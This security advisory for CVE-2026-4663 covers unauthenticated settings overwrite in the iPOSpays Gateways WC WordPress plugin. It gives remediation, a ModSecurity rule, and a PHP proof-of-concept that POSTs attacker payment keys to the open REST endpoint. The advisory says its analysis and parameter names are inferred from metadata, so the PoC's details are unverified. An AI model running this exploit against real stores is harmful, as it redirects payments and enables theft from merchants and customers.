Atomic Edge analysis of CVE-2026-4663 (metadata-based):
This vulnerability allows unauthenticated attackers to overwrite critical payment gateway settings in the iPOSpays Gateways WC plugin for WordPress, including live API keys, secret keys, and payment tokens. The issue affects plugin versions up to and including 1.3.7. The CVSS score is 5.3 (Medium), and the CWE classification is 862 Missing Authorization.
Root Cause: The plugin registers a REST API endpoint at /wp-json/ipospays/v1/save_settings with the ‘permission_callback’ parameter set to ‘__return_true’. This PHP function always returns true, meaning WordPress skips all authorization checks. No capability verification (e.g., ‘manage_options’) and no nonce validation occur on this endpoint. This is an inferred conclusion based on the CVE description and CWE metadata, as no code diff is available.
Exploitation: An unauthenticated attacker sends a POST request to /wp-json/ipospays/v1/save_settings with a JSON body containing the settings data they wish to overwrite. The endpoint expects parameters like ‘environment’, ‘api_key’, ‘secret_key’, ‘payment_token’, and any other options that map to the ‘woocommerce_ipospays_settings’ WordPress option. No cookies or authentication tokens are required.
Remediation: The developer must add proper permission checking to the REST API endpoint. This requires changing the ‘permission_callback’ from ‘__return_true’ to validate that the current user has the ‘manage_options’ capability using ‘current_user_can(‘manage_options’)’. Additionally, implementing nonce verification for state-changing operations would add defense in depth.
Impact: An attacker with no authentication can arbitrarily modify payment gateway settings. By replacing the live API keys and payment tokens with their own, the attacker can redirect payment transactions to their own payment processor account. This could result in financial theft from the site owner and customers, as well as loss of customer trust and potential legal liability.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@beginsWith /wp-json/ipospays/v1/save_settings"
"id:20261994,phase:2,deny,status:403,
msg:'CVE-2026-4663 - iPOSpays Gateways WC - Unauthenticated Settings Overwrite via REST API',
severity:'CRITICAL',
tag:'CVE-2026-4663',
tag:'wordpress',
tag:'ipospays-gateways-wc'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4663 - iPOSpays Gateways WC <= 1.3.7 - Unauthenticated Missing Authorization to Settings Update via REST API Endpoint
<?php
// Configuration
$target_url = 'https://example.com'; // CHANGE THIS to the target WordPress site URL
$rest_endpoint = '/wp-json/ipospays/v1/save_settings';
// Malicious settings payload
// The exact option keys depend on the plugin; these are inferred from common payment gateway patterns
$payload = array(
'environment' => 'production',
'api_key' => 'attacker_controlled_api_key_12345',
'secret_key' => 'attacker_controlled_secret_key_abcde',
'payment_token' => 'attacker_controlled_token_xyz789',
'enabled' => 'yes'
);
// Initialize cURL
$ch = curl_init();
// Set cURL options for the POST request
curl_setopt($ch, CURLOPT_URL, $target_url . $rest_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Content-Length: ' . strlen(json_encode($payload))
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable SSL verification for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute the request and output the response
echo "Sending unauthenticated REST API request to overwrite payment settings...nn";
$response = curl_exec($ch);
if ($response === false) {
echo 'cURL error: ' . curl_error($ch) . "n";
} else {
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Response Code: $http_coden";
echo "Response Body:n$responsen";
if ($http_code == 200) {
echo "nSUCCESS: The plugin settings were likely overwritten with attacker-controlled values.n";
} else {
echo "nFAILED: The request did not return a 200 status code. The target may be patched or not using this plugin.n";
}
}
curl_close($ch);
?>
